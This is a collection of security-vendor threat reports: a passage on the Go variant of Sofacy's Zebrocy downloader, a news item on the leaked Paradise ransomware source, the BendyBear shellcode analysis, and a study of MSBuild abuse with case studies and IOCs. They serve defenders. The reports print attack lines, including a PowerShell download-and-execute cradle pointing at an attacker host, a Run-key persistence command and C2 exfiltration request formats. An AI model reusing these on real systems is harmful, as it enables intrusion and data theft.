(T1119), exfiltrates this information to the C2 server, and attempts to download, install, and execute a payload from the C2. The Go variant also has some more specific overlaps in its functionality, including: - The use of ASCII hexadecimal obfuscation of strings - The use of the volume serial number without a hyphen obtained from the VOL command - The use of the output from "systeminfo" and "tasklist" in the outbound C2 beacon - The use of the string "PrgStart" within the C2 beacon The most important overlap between the Go variant of Zebrocy and other variants is a shared C2 URL, specifically hxxp://89.37.226[.]148/technet-support/library/online-service-description.php?id_name= that was also used by Zebrocy samples de31a8a9110b32a82843e9216a3378cc1c5ea972a6bb2261ec111efb82f31e71 and daf990f0b6564c3ac87fa87e325e6ffc907ed43ae65a3f088a42b5b120612593, which were both written in Delphi. The Go variant of Zebrocy attempts to evade automated analysis by checking the executable filename of its process for the “)” character. If the filename does not contain a “)” character, the Trojan immediately exits without executing its functional code. The Trojan looks for this character specifically because it expects to run as a file named C5 regional conference and training workshop on community policing(1).exe. This Zebrocy variant uses HTTP POST requests to interact with its C2 server (T1071), which contains system-specific information in the POST data section. The system-specific information includes: - Running processes via “tasklist” command (T1057). - System information via the ”systeminfo” command (T1082). - Local disk information (T1120) via WMI by running the command “wmic logicaldisk get caption,description,drivetype,providername,size” (T1047). - A screenshot of the desktop (T1113) that the GoZebrocy tool takes using an open-source Go library. The C2 communications between the Trojan and its C2 has the following structure: ``` POST /technet-support/library/online-service-description.php?id_name=[serial number from VOL command with hyphen removed] HTTP/1.1 Host: 89.37.226[.]148 User-Agent: Go-http-client/1.1 Content-Length: 570690 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip attach=PrgStart%3A[path to running Trojan]%0D%0A%5B[current time]%5D%0D%0A%0D%0A[results from wmic logicaldisk get caption,description,drivetype,providername,size]%0D%0D%0A%0D%0D%0A%0D%0A%0D%0A[results systeminfo command]%0D%0A%0D%0A%0D%0A[results tasklist command]%0D%0A&support=[screenshot of system represented as ascii hexadecimal bytes] ``` The C2 server will respond to this HTTP POST request with ascii hexadecimal bytes that the payload will decode and save to the following file (T1105): ``` %APPDATA%\Identities\{83AF1378-986F-1673-091A-02681FA62C3B}\w32srv.exe ``` The payload will then execute this newly created file using the Golang "os/exec" module, specifically using the "Command" and "Run" functions in the "os/exec" module to run the following command line: ``` cmd /C %APPDATA%\Identities\{83AF1378-986F-1673-091A-02681FA62C3B}\w32srv.exe ``` ## Dear Joohn Related Delivery The second attack we observed delivering the Zebrocy variant written in the Go language is related to the Dear Joohn attacks that we have previously published. While the Dear Joohn campaign occurred in mid-October to mid-November 2018, the delivery document (SHA256: 346e5dc097b8653842b5b4acfad21e223b7fca976fb82b8c10d9fa4f3747dfa0) that ultimately installed the Go Zebrocy sample was created on December 3, 2018. This delivery document had an author name of Joohn, which is how we clustered the Dear Joohn delivery documents for that campaign. Like the Dear Joohn attacks, the delivery document downloads a remote template (SHA256: 07646dc0a8c8946bb78be9b96147d4327705c1a3c3bd3fbcedab32c43d914305) via HTTP (T1071) that has an author and last saved by xxx. Upon opening the delivery document, the lure image attempts to trick the recipient into enabling content (T1204) to run the macro within the downloaded remote template. The delivery document is configured to obtain a remote template from hxxps://bit[.]ly/2G8QrgL (T1102), as seen in the following from the document’s word/_rels/settings.xml.rels file: ```xml <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="hxxps://bit[.]ly/2G8QrgL" TargetMode="External"/> </Relationships> ``` The hxxps://bit[.]ly/2G8QrgL shortened link redirects to the remote template hosted at a URL of hxxp://89.37.226[.]123/Templates/NormalOld.dotm. Previous Dear Joohn delivery documents did not use a shortened link to obtain its remote template, which suggests a shift in techniques used in this campaign. Fortunately for us, the shortened link provides some statistics on how many visitors accessed the link and their country of origin. When accessed on December 5, 2018, the statistics for the shortened link showed the link was created on December 3, 2018, at 12:56 PM, which was visited 75 times mostly from Turkey. The remote template downloaded via this shortened link contains a macro similar to other Dear Joohn samples. The macro differs as it extracts a ZIP from the remote template file (SHA256: c817aab6e8dcaeaeae817a85ba209c0ca690be58b91e6cff0e3f0660336f9506) and saves it to a file named driver_pack.zip. The archive contains an executable named driver_pack.exe (SHA256: b48b3d46ebfa6af8a25c007f77e6ed3c32fe4c6478311b8b0c7d6f4f8c82de76), which is a WinRAR SFX executable archive that contains another executable named comsvc.exe. The WinRAR SFX archive extracts the comsvc.exe payload using the following SFX script: ``` Path=%APPDATA%\AppHistory Setup=comsvc.exe Silent=1 Overwrite=2 ``` The comsvc.exe executable (SHA256: 93680d34d798a22c618c96dec724517829ec3aad71215213a2dcb1eb190ff9fa) is a UPX packed variant of the Go Zebrocy malware (SHA256: 15a866c3c18046022a810aa97eaf2e20f942b8293b9cb6b4d5fb7746242c25b7), which is a downloader responsible for obtaining and executing secondary payloads from a C2 server. Like other Zebrocy variants, this Go Zebrocy malware checks the path of the running process to make sure it contains comsvc, as it would if executed by the delivery document that would eventually save the payload to comsvc.exe. If the Go Zebrocy sample was not run as comsvc.exe, it will send an HTTP POST request to google[.]com unlike other Zebrocy variants that will just exit, which we believe is an attempt to further evade heuristic detection. The data sent in the HTTP POST request decodes to `<#0>0<##0><#1>1<##1><#2>1<##2>`, which does not necessarily have any purpose other than filling the same HTTP POST data delimiters that Go Zebrocy will use when communicating with the C2. In the event that the sample was run as comsvc.exe, the Trojan will reach out to the following URL to communicate with its C2 server: ``` hxxp://89.37.226[.]123/advance/portable_version/service.php ``` The Go Zebrocy tool will get the volume serial number, take a screenshot of the system (T1113), and gather system-specific information using a legitimate library called psutil that is available on Github. The Trojan will call the Host Info function from the psutil library that will effectively gather platform information (operating system, version, etc.), the time the system was booted, the system uptime, the system’s GUID, and process IDs for running processes (T1057). The Zebrocy variant will send an HTTP POST request (T1071) to the above URL with post data structured as follows: ``` project=%3C%230%3E4D291F48%3C%23%230%3E%3C%231%3E[serial number of storage volume]%3C%23%230%3E%3C%231%3E[gathered system information]%3C%23%231%3E%3C%232%3E[screenshot in JPEG format]%3C%23%232%3E ``` The hexadecimal characters in the HTTP POST data are used as delimiters, which represent the following: - `<#0>`: [serial number of storage volume] - `<##0>`: - `<#1>`: [gathered system information] - `<##1>`: - `<#2>`: [screenshot in JPEG format] - `<##2>`: The C2 will respond to the above request with a hexadecimal encoded payload that the Trojan will save to the system and execute. The Trojan writes the secondary payload to the following file: ``` %LOCALAPPDATA%\Microsoft\Feeds\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\wcncsvc.exe ``` Before executing the dropped file, the Trojan will create an auto run registry key (T1060) to have the secondary payload run each time the user logs in using the following command line (T1059): ``` reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Media Center Extender Service ``` During our analysis, the secondary payload downloaded from the C2 is another Trojan written in Go language (SHA256: 50d610226aa646dd643fab350b48219626918305aaa86f9dbd356c78a19204cc), which the actors packed with UPX (SHA256: ee9218a451c455fbca45460c0a27e1881833bd2a05325ed60f30bd4d14bb2fdc) (T1045). This secondary payload is another downloader that uses HTTPS instead of HTTP for its C2 communications. This secondary payload communicates with the following URL as its C2: ``` hxxps://190.97.167[.]186/pkg/image/do.php ``` ## Conclusion The Sofacy group continues to use variants of the Zebrocy payload in its attack campaigns. Developers of Zebrocy continue to create new variants of the Trojan using different coding languages, which in this particular case used the Go language. The adversaries made some drastic errors to the delivery LNK shortcut, which made this attack seemingly ineffective. Regardless of the attack’s effectiveness, the techniques and indicators we observed still provide analytical points for correlation and should be included in an organization's security defenses as the group may use the payload and infrastructure in future attacks. It is also apparent that the Sofacy group will use these new variants of Zebrocy across multiple different campaigns, as the Go variant of Zebrocy was delivered via the LNK shortcut and a Dear Joohn delivery document.
# Source Code for Paradise Ransomware Leaked on Hacking Forums The source code of the .NET version of the Paradise ransomware was leaked on hacking forums over the weekend, Tom Malka, a senior threat intelligence analyst for security firm Security Joes, has told The Record today. The code, which was shared on a Russian-speaking forum called XSS, represents the second major ransomware strain whose source code was leaked in recent years after the Dharma code leaked in early 2020. The authenticity of the leaked files was verified and confirmed by malware analysts Bart Blaze and MalwareHunterTeam, which previously analyzed several Paradise ransomware campaigns. ## A Short History of the Paradise Ransomware First spotted in September 2017, the Paradise ransomware was rented online to cybercrime gangs via a classic Ransomware-as-a-Service (RaaS) offering. Threat actors would sign up for the Paradise RaaS, and they’d receive a specialized app, called a builder, which they’d use to build custom versions of the Paradise ransomware that they would later spread to victims via email spam and other methods. While in recent years, we have grown accustomed to ransomware gangs going after high-profile companies, chasing large payments, the Paradise ransomware was primarily used to target home consumers and smaller companies. Seeking small ransom payments, the Paradise RaaS was considered an entry point into the ransomware scene for criminal gangs, which would begin their career targeting end consumers and small businesses, and then move to the more professional RaaS offerings that targeted large corporations. The Paradise RaaS operated for years, constantly releasing new versions, including a .NET version, which saw limited use in 2019 and 2020. The RaaS hit its first major snag in October 2019 when security firm Emsisoft released a free decryption utility that allowed victims to decrypt files encrypted by the Paradise ransomware without paying the ransom demand. The Paradise operators released new versions, but security firm Bitdefender released a second decrypter a few months later, in January 2020. Since then, the RaaS’ operations have lost some of their stamina, with fewer campaigns being spotted by security researchers on a weekly basis. One of the Paradise affiliates drew some attention to itself in March 2020 when they utilized a novel spam campaign that used IQY files to spread the ransomware, but since then, Paradise payloads have been rare, with the last public sample being seen in January this year. Security firm SonicWall also reported spotting a new ransomware version named Cukiesi, which they concluded was an offshoot of the old Paradise, but this variant didn’t survive for long either. Today, the native version of the Paradise ransomware is still making a handful of victims on a weekly basis. According to MalwareHunterTeam, the ID-Ransomware service has only seen two submissions in the last 30 days, suggesting the project has been abandoned or is seeing lesser use in favor of its native version – with natively-coded ransomware being known to be faster at encrypting files compared to .NET alternatives. ## Paradise Ransomware Builder Leaked The Paradise code that was leaked over the weekend is the source code for the .NET version of the Paradise ransomware, and more precisely for its builder and decryption utility, Malka and Blaze told The Record today. The leak of the Paradise ransomware builder is a legitimate cause for concern, even if it’s for the lesser-used .NET version. Sample Paradise ransomware strains built by Blaze earlier today were classified as undecryptable when uploaded and verified via the ID-Ransomware service. With the source code readily available in the public domain, and known to be undecryptable, we cannot exclude that some threat actors will jump on the opportunity to use it, even if it’s not as refined as the native version of the Paradise RaaS. **Tags:** hacking forum, leak, malware, Paradise, RaaS, Ransomware, source code, XSS Catalin Cimpanu is a cybersecurity reporter for The Record. He previously worked at ZDNet and Bleeping Computer, where he became a well-known name in the industry for his constant scoops on new vulnerabilities, cyberattacks, and law enforcement actions against hackers.
# BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech **By Mike Harbison** **February 9, 2021** ## Executive Summary Highly malleable, highly sophisticated and over 10,000 bytes of machine code. This is what Unit 42 researchers were met with during code analysis of this “bear” of a file. The code behavior and features strongly correlate with that of the WaterBear malware family, which has been active since as early as 2009. Analysis by Trend Micro and TeamT5 unveiled WaterBear as a multifaceted, stage-two implant, capable of file transfer, shell access, screen capture and much more. The malware is associated with the cyber espionage group BlackTech, which many in the broader threat research community have assessed to have ties to the Chinese government, and is believed to be responsible for recent attacks against several East Asian government organizations. Due to the similarities with WaterBear, and the polymorphic nature of the code, Unit 42 named this novel Chinese shellcode “BendyBear.” It stands in a class of its own in terms of being one of the most sophisticated, well-engineered and difficult-to-detect samples of shellcode employed by an Advanced Persistent Threat (APT). The BendyBear sample was determined to be x64 shellcode for a stage-zero implant whose sole function is to download a more robust implant from a command and control (C2) server. Shellcode, despite its name, is used to describe the small piece of code loaded onto the target immediately following exploitation, regardless of whether or not it actually spawns a command shell. At 10,000+ bytes, BendyBear is noticeably larger than most, and uses its size to implement advanced features and anti-analysis techniques, such as modified RC4 encryption, signature block verification, and polymorphic code. The sample analyzed in this blog was identified by its connections to a malicious C2 domain published by Taiwan’s Ministry of Justice Investigation Bureau in August 2020. It was discovered absent additional information regarding the exploit vector, potential victims or intended use. Palo Alto Networks customers can be protected from the attacks outlined in this blog with the Next-Generation Firewall alongside DNS Security, URL Filtering and WildFire security subscriptions, and Cortex XDR. ## A New Class of Shellcode At a macro level, BendyBear is unique in that it: - Transmits payloads in modified RC4-encrypted chunks. This hardens the encryption of the network communication, as a single RC4 key will not decrypt the entire payload. - Attempts to remain hidden from cybersecurity analysis by explicitly checking its environment for signs of debugging. - Leverages existing Windows registry key that is enabled by default in Windows 10 to store configuration data. - Clears the host’s DNS cache every time it attempts to connect to its C2 server, thereby requiring that the host resolve the current IP address for the malicious C2 domain each time. - Generates unique session keys for each connection to the C2 server. - Obscures its connection protocol by connecting to the C2 server over a common port (443), thereby blending in with normal SSL network traffic. - Employs polymorphic code, changing its runtime footprint during code execution to thwart memory analysis and evade signaturing. - Encrypts or decrypts function blocks (code blocks) during runtime, as needed, to evade detection. - Uses position independent code (PIC) to throw off static analysis tools. In the following sections, we provide an in-depth technical breakdown of each of these capabilities. ## Technical Details ### Shellcode Execution The shellcode (SHA256: 64CC899EC85F612270FCFB120A4C80D52D78E68B05CAF1014D2FE06522F1E2D0) is considered to be a stager, or downloader, whose function is to download an implant from a C2 server. During execution, the code employs byte randomization to obscure its behavior. This is achieved by using the host’s current time as a seed for a pseudorandom number generator, and then performing additional operations against that output. The resulting values are used to overwrite blocks of previously executed code. This byte manipulation is the first anti-analysis technique observed in the code, as any attempt to dump the memory segment would result in illegitimate or incorrect operations. Because shellcode lacks the ability to run on its own, a Windows loader is required to allocate an environment in memory for it to execute. At the time of analysis, no loader had been identified for this shellcode; therefore, Unit 42 created a custom loader to study the code during its runtime execution. Since then, however, several older installers were discovered with embedded WaterBear shellcode based on attributes identified from this sample. The shellcode begins by locating the target’s Process Environment Block (PEB) to check if it’s currently being debugged. However, the code is written such that it pulls both the “BeingDebugged” and “BitField” values from the PEB, resulting in code logic that invalidates the debugger check. Because of this, the shellcode will always fail to recognize when a debugger is attached. This routine is performed 52 times in a while loop. Next, the shellcode iterates through the PEB’s loader module list looking for the base address of Kernel32.dll. This is typical of shellcode, as the Kernel32.dll base address is necessary to resolve any dependency files required by the shellcode to run. With this address, the shellcode loads its dependency modules and resolves any necessary Windows Application Programming Interface (API) calls using standard shellcode API hashing. The following modules are loaded: - Advapi32.dll - Kernel32.dll - Msvcrt.dll - User32.dll - Ws2_32.dll With the shellcode initialization complete, it moves onto its main function. It begins by querying the target’s registry, at the following key: - HKEY_CURRENT_USER\Console\QuickEdit This registry key is used by the Windows command prompt to enable Quick Edit mode. Quick Edit mode allows copy and paste from the command prompt to the clipboard. By default, this key contains a REG_DWORD, a 32-bit number of either 1 for enabled or 0 for disabled. BendyBear reads this value, multiplies it by 1000 and performs the following calculation on the result: If the result is less than 1,000 or greater than 3,300,000 the shellcode configuration (QuickEdit) is 4,000 (0xFA0) otherwise it is the result of the computed value. This check is performed each and every time the shellcode is executed. One explanation for the use of this key is that the value is written to by the shellcode loader (to a value other than 0 or 1) and it’s used by the shellcode to obtain configuration settings. It then decrypts its internal configuration structure, which is 1,152 bytes. ### Network Communications Before communicating with the C2 server, the shellcode flushes the host’s DNS cache by performing the following: 1. Loads module dnsapi.dll 2. Calls API DnsFlushResolverCache When this API is called, all domains resolved are cleared from the host’s DNS cache, not just the target C2 server. This forces the host to resolve the current IP associated with the C2 domain, ensuring that communication continues as network infrastructure becomes compromised or unavailable. It also implies the developers own the domain and can update the IP. The stager begins by computing 10 bytes of data to send to the C2 server. These 10 bytes make up a challenge request packet. The stager sends the challenge request to the C2 and waits for a challenge response. When received and properly decrypted, the stager checks for magic values or signature bytes at specific offsets. If this check fails, the network connection is aborted. This check ensures trusted communication with the intended C2 server and initiates the download of the payload. ### BendyBear vs. WaterBear | Attributes | WaterBear | BendyBear | |------------|-----------|-----------| | File Type | EXE/DLL | Shellcode | | Implant Type | Stage-2 | Stage-0 | | Modified RC4 | Additional Encryption | UNKNOWN | | Authenticated C2 Communications | Signature Verification Magic Bytes | 1F 40 | | Chunked Payloads | Polymorphic Code | In-Memory Loading | | PEB Debugger Check | Pattern Elimination | Encrypt/Decrypt Function Routines | | API Hooking | Process Hiding | Network Traffic Filtering | ## Conclusion The BendyBear shellcode contains advanced features that are not typically found in shellcode. The use of anti-analysis techniques and signature block verification indicate that the developers care about stealth and detection-evasion. Additionally, the use of custom cryptographic routines and byte manipulations suggest a high level of technical sophistication. Palo Alto Networks customers can be protected from the attacks outlined in this blog in the following ways: - The C2 domain used in this shellcode has been categorized as malware in DNS Security, URL Filtering and WildFire, which are security subscriptions for Next-Generation Firewall customers. - Cortex XDR can identify and block the shellcode during execution. - App-ID, the traffic classification system in Next-Generation Firewalls, is capable of identifying applications irrespective of port, protocol, encryption (SSH or SSL) or any other evasive tactic used by the application. This shellcode attempts to communicate over TCP port 443 with traffic that does not conform to proper SSL or any other known application. As a matter of best practice, we advise customers to block unknown outbound TCP traffic in their security policies. ## Indicators of Compromise **Shellcode Samples** - x64 – (version 0.24) `64CC899EC85F612270FCFB120A4C80D52D78E68B05CAF1014D2FE06522F1E2D0` `wg1.inkeslive[.]com` - x86 – (version 0.1) `49901034216a16cfd05c613f438eccee4a7bf6079a7988b3e7094d9498379558` `web2008.rutentw[.]com` **x86 WaterBear Loaders** The following executables have been identified as loaders/injectors that contain older WaterBear x86 shellcode. The shellcode code is identical to the x86 sample `49901034216…. (version 0.1)` listed above. - `5d1414b47d88e95ae6612d3fc211c29b35cc5db4a8a992f5e27cff5203ebf44b` - `9880ba4f93cade2f6bbb4cc8efdcf087e8ac51b5c209ee32ad8134eb87ef70e1` - `682122f34027e3f8025928d446989b02952449f5e5930c2670f8f789f41573ff` - `2a09ec2d6edadd06e18c841e0ed794ba3eeb21818476f75ccc0e5d40e08eac80` - `76ef704d21fbaaceca8a131429ccfb9f5de3d8f43a160ddd281ffeafc391eb98`
# Building a Bypass with MSBuild By Vanja Svajcer. ## News Summary Living-off-the-land binaries (LoLBins) continue to pose a risk to security defenders. We analyze the usage of the Microsoft Build Engine by attackers and red team personnel. These threats demonstrate techniques T1127 (Trusted Developer Utilities) and T1500 (Compile After Delivery) of the MITRE ATT&CK framework. In one of our previous posts, we discussed the usage of default operating system functionality and other legitimate executables to execute the so-called "living-off-the-land" approach to the post-compromise phase of an attack. We called those binaries LoLBins. Since then, Cisco Talos has analyzed telemetry we received from Cisco products and attempted to measure the usage of LoLBins in real-world attacks. Specifically, we are going to focus on MSBuild as a platform for post-exploitation activities. For that, we are collecting information from open and closed data repositories as well as the behavior of samples submitted for analysis to the Cisco Threat Grid platform. ## What's New? We collected malicious MSBuild project configuration files and documented their structure, observed infection vectors, and final payloads. We also discuss potential actors behind the discovered threats. ## How Did It Work? MSBuild is part of the Microsoft Build Engine, a software build system that builds applications as specified in its XML input file. The input file is usually created with Microsoft Visual Studio. However, Visual Studio is not required when building applications, as some .NET framework and other compilers that are required for compilation are already present on the system. The attackers take advantage of MSBuild characteristics that allow them to include malicious source code within the MSBuild configuration or project file. ### So What? Attackers see a few benefits when using the MSBuild engine to include malware in a source code format. This technique was discovered a few years ago and is well-documented by Casey Smith, whose proof of concept template is often used in the samples we collected. First of all, this technique can be used to bypass application whitelisting technologies such as Windows Applocker. Another benefit is that the code is compiled in memory so that no permanent files exist on the disk, which would otherwise raise a level of suspicion by the defenders. Finally, the attackers can employ various methods to obfuscate the payload, such as randomizing variable names or encrypting the payload with a key hosted on a remote site, which makes detection using traditional methods more challenging. ## Technical Case Overview One of the characteristics of MSBuild input configuration files is that the developer can include a special XML tag that specifies an inline task, containing source code that will be compiled and loaded by MSBuild in memory. Depending on the attributes of the task, the developer can specify a new class, a method, or a code fragment that automatically gets executed when a project is built. The source code can be specified as an external file on a drive. Decoupling the project file and the malicious source code may make the detection of malicious MSBuild executions even more challenging. During the course of our research, we collected over 100 potentially malicious MSBuild configuration files from various sources, analyzed delivery methods, and investigated final payloads, usually delivered as position-independent code, better known as shellcode. ### Summary Analysis of Shellcode **Metasploit** The majority of the collected samples contained a variant of Metasploit Meterpreter stager shellcode, generated by the msfvenom utility in a format suitable for embedding in a C# variable. The shellcode is often obfuscated by compressing the byte array with either zlib or GZip and then converting it into base64-encoded printable text. Possibly the most convenient tool for quick shellcode analysis is shellcode debugger: scdbg. Scdbg has many options to debug shellcode. Scdbg is based on an open-source x86 emulation library libemu, so it only emulates the Windows environment and will not correctly analyze every shellcode. Nevertheless, the tool is an excellent first stop for analyzing a larger number of shellcode samples as it can produce log files that can later be used in clustering. Of course, to analyze shellcode, we need to convert it from the format suitable for assignment to a C# byte array variable back into the binary format. If you regularly use a Unix-based computer with an appropriate terminal/shell, your first port of call may be a default utility xxd, which is more commonly used to dump the content of a binary file in a human-readable hexadecimal format. However, xxd also has a reverting mode and it can be used to convert the C# array bytes back into the binary file, using command-line options -r and -p together. ```bash xxd -r -p input_text_shellcode_file output_binary_shellcode_file ``` Xxd supports several popular dumping formats, but it won't always produce the correct output. It is important to check that the binary bytes and the bytes specified in the shellcode text file are the same. **Covenant** Covenant is a relatively new C#-based command and control framework that also allows an attacker (or a red team member) to create payloads based on several infection vectors, including MSBuild. The skeleton code for the MSBuild loader is relatively simple and it takes a binary payload, deflates it using zlib decompression, and loads it in the MSBuild process space. The payload needs to be a .NET assembly which can be loaded and executed by the skeleton code. The Covenant framework has its own post-exploitation set of implants called Grunts. Grunts provide infrastructure for building communications with C2 servers. The tasks are sent to the infected system in a format of obfuscated C# assemblies which get loaded and executed by Grunts. **NPS — Not Powershell — in MSBuild** NPS is a simple wrapper executable utility created to load the System.Management.Automation and few other .NET assemblies into the process space of an executable. The idea behind it is an attempt to evade the detection of the execution of powershell.exe and still run custom PowerShell code. This idea is used by the developers of nps_payload tool which allows actors to create not-PowerShell payloads using different mechanisms, including the MSBuild configuration tool. The tool generates MSBuild project files with a choice of Meterpreter stagers shellcode payloads or a custom Powershell code payload supplied by the user. **Cobalt Strike** Although a Metasploit shellcode MSBuild payload is by far the most common, we have also seen several samples that use a Cobalt Strike beacon as a payload. The beacon shellcode has a structure similar to a PE file but it is designed to be manually loaded in memory and executed by invoking the shellcode loader that starts at the beginning of the blob, immediately before MZ magic bytes. The payload itself is over 200 KB long, so it is relatively easy to recognize. One of the case studies later in this post covers a more serious attempt to obfuscate the beacon payload by encrypting it with AES256 using a key hosted on a remote website. **Mimikatz** The only discovered payload that is longer than a Cobalt Strike shellcode/beacon is a sample containing two Mimikatz payloads. A sample we discovered has a more complex logic for loading the executable into memory and eventually launching it with a call to CreateThread. The PE loader's source is available on GitHub, although for this sample, it was somewhat adopted to work within MSBuild. The loader first checks if the operating system is 32 or 64 bit and then loads and runs the appropriate Mimikatz executable stored in a variable encoded using base64. ## Case Studies We follow our general observations with three case studies discovered by searching the submissions in the Cisco Threat Grid platform over the period of the last 6 months. Samples attempting to abuse MSBuild are detected by Threat Grid using the indicator "MSBuild Process Builds with Project File (xml/csproj)". This indicator name can also be used to search for additional samples attempting to use the same technique. ### Case 1: Word Document to MSBuild Payload on Dropbox Our first case study of an actual campaign using MSBuild to deploy a payload is a Word document that displays a fairly common fake message prompting the user to "enable content" to execute a VBA macro code included in the document. Once enabled, the VBA code creates two files in the user's Temp folder. The first one is called "expenses.xlsx" and it is actually an MSBuild configuration XML file containing malicious code to compile and launch a payload. According to VirusTotal, the sample was hosted on a publicly accessible Dropbox folder with the file name "Candidate Resume - Morgan Stanley 202019.doc," which indicates that the campaign was targeted or that the actor is conducting a red team exercise to attempt to sneak by a company's defenses. The second file created by the VBA code in the user's temporary folder is called "resume.doc." This is a clean decoy Word document that displays a simple resume for the position of a marketing manager. Winword launches MSBuild, which starts the C# compilers csc.exe and cvtres.exe. We can also see the MSBuild process launching Internet Explorer (iexplore.exe). Iexplore.exe is launched in a suspended mode so that the payload, which is a Cobalt Strike beacon, can be copied into its process space and launched by queuing the thread as an asynchronous procedure call, one of the common techniques of process injection. Blue teams should regularly investigate parent-child relationships between processes. In this case, seeing winword.exe launching the MSBuild.exe process and MSBuild.exe launching iexplore.exe is highly unusual. ### Case 2: Excel File to Silent Trinity The second case study has a similar pattern to the previous one. Here, we have an Excel file that looks like it contains confidential salary information but prompts the user to enable editing to see the content. The Excel file contains a VBA macro code that does not look very suspicious at first glance but actually calls to another function. This function also starts out rather innocuously, but eventually ends with a suspicious call to Wscript.Shell using a document Subject attribute containing a URL of the next loader stage. The document subject property contains the code to execute PowerShell and fetch and invoke the next stage: ```powershell C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoExit -w hidden -Command iex(New-Object System.Net.WebClient).DownloadString('hxxp://apb[.]sh/helloworld[.]ps1') ``` Helloworld.ps1 downloads the MSBuild configuration from another URL, hxxp://apb[.]sh/msbuild[.]xml and launches it. Finally, Helloworld.ps1 downloads a file from hxxp://apb[.]sh/per[.]txt and saves it as a.bat in the user's \Start Menu\Programs\Startup\ folder. A.bat ensures that the payload persists after users log out of the system. The downloaded MSBuild configuration file seems to be generated by the Silent Trinity .NET post-exploitation framework. It stores a .NET assembly payload as a file compressed with zlib and then encoded using a base64 encoder. Once decoded, the Silent Trinity stager assembly is loaded with the command and control URL pointing to hxxp://35[.]157[.]14[.]111, and TCP port 8080, an IP address belonging to Amazon AWS range. ### Case 3: URL to Encrypted Cobalt Strike Beacon Our final case study has a different infection chain. It starts with a web page hosting an alleged code of conduct document for employees of a known apparel manufacturer G-III. The document is an HTML application written in VB Script that creates an MSBuild configuration file and runs MSBuild. The MSBuild configuration file contains an inline task class that uses an external URL to retrieve the key to decrypt the encrypted embedded payload. The key was stored in the URL hxxp://makeonlineform[.]com/forms/228929[.]txt. The embedded payload is a Cobalt Strike Powershell loader which deobfuscates the final Cobalt Strike beacon and loads it into the process memory. Once the Cobalt Strike beacon is loaded, the HTA application navigates the browser to the actual URL of the G-III code of conduct. Finally, the generated MSBuild configuration file is removed from the computer. ## Telemetry and MSBuild, Possible Actors Looking at the MSBuild telemetry in a format of process arguments defenders can take from their systems or from their EDR tools such as Cisco AMP for Endpoints, it is not easy to decide if an invocation of MSBuild.exe in their environments is suspicious. This stands in contrast with invocations of PowerShell with encoded scripts where the actual code can be investigated by looking at command line arguments. We have measured a proportion of systems running AMP for Endpoints using MSBuild over a period of 30 days to help us decide if any MSBuild event needs to be investigated. We also looked at the project filenames. This can catch attacks using default project file names but we cannot expect to catch all using this technique as filenames can be arbitrary. Another possible criterion for investigations is the number of arguments used when MSBuild is invoked where invocations with only a single argument, where the argument is a project name, could be considered more suspicious. In addition to the number of arguments, defenders should look at the file path from where MSBuild is running. It is very likely that suspicious MSBuild invocations will be a subset to the invocation of the path C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll, which is generally specified as the build assembly in malicious MSBuild configuration files. The final approach within an organization could be to baseline the parent processes of MSBuild within the organization and mark as suspicious any invocations that do not come from the usual processes, such as the Visual Studio development environment and other software building frameworks. When investigating our telemetry through January 2020, we found only 65 unique executables that acted as parent processes on all endpoints protected by AMP for Endpoints. In almost every organization, this number should be lower and easy to manage. In all the endpoints sending telemetry to Cisco, there are up to 2 percent of them running MSBuild on a daily basis, which is too much to investigate in any larger organization. However, if we apply the rules for what constitutes a suspicious MSBuild invocation as described above, we come to a much more manageable number of about one in fifty thousand endpoints (0.1 percent of 2 percent). ## Conclusion MSBuild is an essential tool for software engineers building .NET software projects. However, the ability to include code in MSBuild project files allows malicious actors to abuse it and potentially provide a way to bypass some of the Windows security mechanisms. Finally, our research shows that MSBuild is generally not used by commodity malware. Most of the observed cases had a variant of a post-exploitation agent as a final payload. The usage of widely available post-exploitation agents in penetration testing is somewhat questionable as the defenders can be lulled into a false sense of security. If the defenders get used to seeing, for example, Meterpreter, if another Meterpreter agent is detected on their network they may be ignored, even if it is deployed by a real malicious actor. Defenders are advised to carefully monitor command-line arguments of process execution and specifically investigate instances where MSBuild parent process is a web browser or a Microsoft Office executable. This kind of behavior is highly suspicious and indicates that defenses have been breached. Once a baseline is set, the suspect MSBuild calls should be easily visible and relatively rare so they do not increase the average team workload. In a production environment, where there are no software developers, every execution of MSBuild.exe should be investigated to make sure the usage is legitimate. ## Coverage Ways our customers can detect and block this threat are listed below. - Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors. Exploit Prevention present within AMP is designed to protect customers from unknown attacks such as this automatically. - Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious websites and detects malware used in these attacks. - Email Security can block malicious emails sent by threat actors as part of their campaign. - Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), Cisco ISR, and Meraki MX can detect malicious activity associated with this threat. - AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products. - Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. - Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. ## IOCs **SHA256s** - 334d4bcdbd645589b3cf37895c79b3b04047020540d7464268b3be4007ad7ab1 - Cobalt Strike MSBuild project - a4eebe193e726bb8cc2ffbdf345ffde09ab61d69a131aff6dc857b0d01dd3213 - Cobalt Strike payload - 6c9140003e30137b0780d76da8c2e7856ddb4606d7083936598d5be63d4c4c0d - Covenant MSBuild project - ee34c2fccc7e605487ff8bee2a404bc9fc17b66d4349ea3f93273ef9c5d20d94 - Covenant payload - aaf43ef0765a5380036c5b337cf21d641b5836ca87b98ad0e5fb4d569977e818 - Mimikatz MSBuild project - ef7cc405b55f8a86469e6ae32aa59f693e1d243f1207a07912cce299b66ade38 - Mimikatz x86 payload - abb93130ad3bb829c59b720dd25c05daccbaeac1f1a8f2548457624acae5ba44 - Metasploit Shellcode MSBuild project - ce6c00e688f9fb4a0c7568546bfd29552a68675a0f18a3d0e11768cd6e3743fd - Meterpreter stager 